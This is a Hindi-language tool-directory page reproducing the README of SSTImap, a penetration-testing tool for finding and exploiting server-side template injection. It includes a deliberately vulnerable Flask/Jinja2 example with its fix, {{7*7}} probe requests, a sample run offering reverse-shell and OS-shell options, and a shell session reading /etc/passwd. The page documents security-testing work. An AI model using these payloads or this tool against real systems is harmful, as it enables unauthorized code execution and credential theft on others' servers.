Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
SSTImap — इंटरैक्टिव इंटरफ़ेस के साथ स्वचालित SSTI पहचान उपकरण | Kitploit
उपकरण/GitHubGitHub/vladko312/sstimap
भेद्यता स्कैनरपेलोड जनरेशनकोड विश्लेषणगतिशील कोड विश्लेषण (DAST)शोषणवेब एप्लिकेशन शोषणफज़िंगपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोल
GitHubvladko312/sstimap

SSTImap

इंटरैक्टिव इंटरफ़ेस के साथ स्वचालित SSTI पहचान उपकरण

1.6k1773 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

SSTImap

Version 1.3 Python 3.14 Python 3.6 GitHub GitHub last commit Maintenance

यह परियोजना Tplmap पर आधारित है।

SSTImap एक पेनिट्रेशन टेस्टिंग सॉफ्टवेयर है जो वेबसाइटों में कोड इंजेक्शन और सर्वर-साइड टेम्पलेट इंजेक्शन कमजोरियों की जांच कर सकता है और उनका शोषण करके ऑपरेटिंग सिस्टम तक पहुंच प्रदान कर सकता है।

यह उपकरण एसएसटीआई का पता लगाने और शोषण के लिए एक इंटरैक्टिव पेनिट्रेशन टेस्टिंग टूल के रूप में विकसित किया गया था, जो अधिक उन्नत शोषण की अनुमति देता है। एसएसटीआईमैप के लिए अधिक पेलोड यहां पाए जा सकते हैं।

पेलोड और तकनीकें निम्नलिखित से आई हैं:

  • James Kettle का Server-Side Template Injection: RCE For The Modern Web App
  • अन्य सार्वजनिक शोध [1]1 [2]2 [8]8
  • Tplmap में योगदान [3]3 [4]4
  • मेरा अपना शोध [9]9

यह उपकरण कुछ कोड संदर्भ पलायन और ब्लाइंड इंजेक्शन परिदृश्यों का शोषण करने में सक्षम है। यह Java, JavaScript, PHP, Python, Ruby और सामान्य अनसैंडबॉक्स्ड टेम्पलेट इंजनों में _eval()_-जैसे कोड इंजेक्शन का भी समर्थन करता है।

Tplmap से मुख्य अंतर

हालाँकि यह सॉफ्टवेयर Tplmap के कोड पर आधारित है, लेकिन पिछड़ी संगतता प्रदान नहीं की गई है।

  • एसएसटीआई का पता लगाने और शोषण के लिए दो नई तकनीकें जोड़ी गईं
  • इंटरैक्टिव मोड (-i) जो आसान शोषण और पहचान की अनुमति देता है
  • पेलोड रिफ्लेक्शन के मामले में प्रतिक्रिया मार्कर के रूप में सरल मूल्यांकन पेलोड
  • सामान्य टेम्पलेट्स के लिए नए पेलोड जोड़े गए, सभी संदर्भों का परीक्षण करने के लिए --generic का उपयोग करें
  • Eval_generic मॉड्यूल का उपयोग करके सामान्य मूल्यांकन टेम्पलेट इंजेक्शन का पता लगाना
  • बेस भाषा _eval()_-जैसा शेल (-x) या एकल कमांड (-X) निष्पादन
  • ब्लाइंड फ़ाइल अपलोड अब MD5 पुष्टिकरण और फ़ाइल अस्तित्व की जाँच का समर्थन करता है
  • अधिक टेम्पलेट्स के लिए नए पेलोड जोड़े गए और कई मौजूदा पेलोड अपडेट किए गए
  • मॉड्यूलर प्लगइन संरचना जो अतिरिक्त प्लगइन इंस्टॉलेशन की अनुमति देती है
  • विभिन्न POST डेटा प्रकारों के लिए समर्थन
  • क्रॉलिंग और फॉर्म पहचान जोड़ी गई
  • कई तर्कों के लिए छोटे संस्करण जोड़े गए
  • कुछ पुराने कमांड लाइन तर्क बदल दिए गए हैं, सहायता के लिए -h देखें
  • कोड को नई पायथन सुविधाओं का उपयोग करने के लिए बदला गया है
  • Burp Suite एक्सटेंशन को अस्थायी रूप से हटा दिया गया, क्योंकि Jython Python3 का समर्थन नहीं करता है

सर्वर-साइड टेम्पलेट इंजेक्शन

यह Flask फ्रेमवर्क और Jinja2 टेम्पलेट इंजन का उपयोग करके Python में लिखी गई एक सरल वेबसाइट का उदाहरण है। यह उपयोगकर्ता-प्रदत्त वेरिएबल name को असुरक्षित तरीके से एकीकृत करता है, क्योंकि इसे रेंडरिंग से पहले टेम्पलेट स्ट्रिंग में जोड़ा जाता है।

root@kitploit:~
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

न केवल टेम्पलेट्स का उपयोग करने का यह तरीका XSS कमजोरी पैदा करता है, बल्कि यह हमलावर को टेम्पलेट कोड इंजेक्ट करने की भी अनुमति देता है, जो सर्वर पर निष्पादित होगा, जिससे SSTI होता है।

root@kitploit:~
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix

उपयोगकर्ता-प्रदत्त इनपुट को रेंडरिंग संदर्भ के माध्यम से सुरक्षित तरीके से प्रस्तुत किया जाना चाहिए:

root@kitploit:~
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

पूर्वनिर्धारित मोड

SSTImap पूर्वनिर्धारित मोड में Tplmap के समान है। यह कई अलग-अलग टेम्पलेट्स में SSTI कमजोरियों का पता लगाने और शोषण करने में सक्षम है।

शोषण के बाद, SSTImap कोड मूल्यांकन, OS कमांड निष्पादन और फ़ाइल सिस्टम हेरफेर तक पहुंच प्रदान कर सकता है।

URL की जाँच करने के लिए, आप -u तर्क का उपयोग कर सकते हैं:

root@kitploit:~
$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.3.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

लक्ष्य पर एक स्यूडो-टर्मिनल लॉन्च करने के लिए --os-shell विकल्प का उपयोग करें।

root@kitploit:~
$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.3.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

विकल्पों की पूरी सूची प्राप्त करने के लिए, --help तर्क का उपयोग करें।

इंटरैक्टिव मोड

इंटरैक्टिव मोड में, SSTImap के साथ बातचीत करने के लिए कमांड का उपयोग किया जाता है। इंटरैक्टिव मोड में प्रवेश करने के लिए, आप -i तर्क का उपयोग कर सकते हैं। शोषण पेलोड से संबंधित तर्कों को छोड़कर, अन्य सभी तर्क सेटिंग्स के लिए प्रारंभिक मान के रूप में उपयोग किए जाएंगे।

कुछ कमांड का उपयोग परीक्षण रनों के बीच सेटिंग्स बदलने के लिए किया जाता है। एक परीक्षण चलाने के लिए, लक्ष्य URL को प्रारंभिक -u तर्क या url कमांड के माध्यम से प्रदान किया जाना चाहिए। उसके बाद, आप SSTI के लिए URL की जाँच करने के लिए run कमांड का उपयोग कर सकते हैं।

यदि SSTI पाया जाता है, तो शोषण शुरू करने के लिए कमांड का उपयोग किया जा सकता है। आप पूर्वनिर्धारित मोड के समान शोषण क्षमताएँ प्राप्त कर सकते हैं, लेकिन आप प्रोग्राम को रोके बिना उन्हें रद्द करने के लिए Ctrl+C का उपयोग कर सकते हैं।

वैसे, परीक्षण के परिणाम तब तक मान्य रहते हैं जब तक लक्ष्य URL नहीं बदला जाता, इसलिए आप हर बार पहचान परीक्षण चलाए बिना आसानी से शोषण विधियों के बीच स्विच कर सकते हैं।

इंटरैक्टिव कमांड की पूरी सूची प्राप्त करने के लिए, इंटरैक्टिव मोड में help कमांड का उपयोग करें।

समर्थित टेम्पलेट इंजन

SSTImap कई टेम्पलेट इंजनों और _eval()_-जैसे इंजेक्शनों का समर्थन करता है।

नए पेलोड PR में स्वागत है। विकास में तेजी लाने के लिए टिप्स देखें।

तकनीकें: (R)ेंडर, (E)rror-आधारित, (B)oolean त्रुटि-आधारित ब्लाइंड और (T)ाइम-आधारित ब्लाइंड; छोटा अक्षर आंशिक रूप से समर्थित तकनीक को दर्शाता है

अधिक प्लगइन और पेलोड SSTImap Extra Plugins रिपॉजिटरी में पाए जा सकते हैं।

Burp Suite प्लगइन

वर्तमान में, Burp Suite केवल Jython के साथ काम करता है जो python2 को निष्पादित करने का एक तरीका है। Python3 कार्यक्षमता प्रदान नहीं की गई है।

भविष्य की योजनाएँ

यदि आप इस सूची से कुछ बड़ा योगदान देने की योजना बनाते हैं, तो मुझे सूचित करें ताकि मैं या अन्य योगदानकर्ता आपके समान काम न करें।

  • विभिन्न इंजनों के लिए और अधिक पेलोड जोड़ें
  • प्लगइन्स को आधार प्लगइन्स पर कम निर्भर बनाएं
  • फ़ाइल से कच्चा HTTP अनुरोध पार्स करें
  • वेरिएबल डंपिंग कार्यक्षमता
  • ब्लाइंड/साइड-चैनल मान निष्कर्षण
  • बेहतर दस्तावेज़ीकरण (या कम से कम कोई दस्तावेज़)
  • इंटरैक्टिव कमांड के रूप में छोटे तर्क?
  • स्क्रिप्टिंग एकीकरण के लिए JSONL/plaintext API मोड?
  • Python स्क्रिप्ट के लिए बेहतर एकीकरण
  • मल्टीपार्ट POST डेटा प्रकार समर्थन
  • अधिक अनुकूलन योग्य अनुरोधों के लिए मॉड्यूल (दूसरा क्रम, रीसेट, गैर-HTTP)
  • पेलोड प्रोसेसिंग स्क्रिप्ट
  • बेहतर कॉन्फ़िग कार्यक्षमता
  • पाई गई कमजोरियों को सहेजना
  • HTML या अन्य प्रारूप में रिपोर्ट
  • बहु-पंक्ति भाषा मूल्यांकन?
टूल डाउनलोड करें
इंजनRCEतकनीकभाषाप्रकार
Freemarker✓REBTJavaDefault
Java generic EL injections✓REBTJavaDefault
OGNL (Object-Graph Navigation Language code eval)✓REBTJavaDefault
Velocity✓REBTJavaDefault
Nunjucks✓REBTJavaScriptDefault
Velocity.js✓REBTJavaScriptDefault
JavaScript (code eval)✓REBTJavaScriptDefault
JavaScript-based generic templates✓REBTJavaScriptDefault
Twig (>=1.41; >=2.10; >=3.0)✓REBTPHPDefault
PHP (code eval)✓REBTPHPDefault
PHP-based generic templates✓REBTPHPDefault
Jinja2✓REBTPythonDefault
Python (code eval)✓REBTPythonDefault
Python-based generic templates✓REBTPythonDefault
ERB✓REBTRubyDefault
Slim✓REBTRubyDefault
Ruby (code eval)✓REBTRubyDefault
Generic evaluating templates×Reb_*Default
SpEL (Spring EL code eval)✓REBTJavaGeneric
doT✓REBTJavaScriptGeneric
EJS✓REBTJavaScriptGeneric
Marko✓REBTJavaScriptGeneric
Pug✓REBTJavaScriptGeneric
Smarty✓REBTPHPGeneric
Cheetah✓REBTPythonGeneric
Mako✓REBTPythonGeneric
Tornado✓REBTPythonGeneric
Dust (<= [email protected])✓REBTJavaScriptLegacy
Twig (<=1.19)✓REBTPHPLegacy
Templite✓REBTPythonLegacy
SSI (Server-Side Includes injection)✓R__TSSILegacy
CVE-2025-1302✓REBTJavaScriptExtra
CVE-2025-13204✓REBTJavaScriptExtra
CVE-2022-23614✓REBTPHPExtra
CVE-2024-6386✓REBTPHPExtra
  • पेलोड में प्लेटफ़ॉर्म निर्भरता से बचें
  • exec-आधारित RCE परिदृश्यों में कई शेल का परीक्षण करें
  • NodeJS पेलोड को अपडेट करें क्योंकि process.mainModule अपरिभाषित हो सकता है
  • Spider/crawler ऑटोमेशन (by fantesykikachu)
  • स्वचालित भाषाओं और इंजनों का आयात
  • अधिक POST डेटा प्रकारों का समर्थन
  • टेम्पलेट और बेस भाषा मूल्यांकन कार्यक्षमता को अधिक एकसमान बनाएं
  • एस्केप कोड हटाने के लिए तर्क?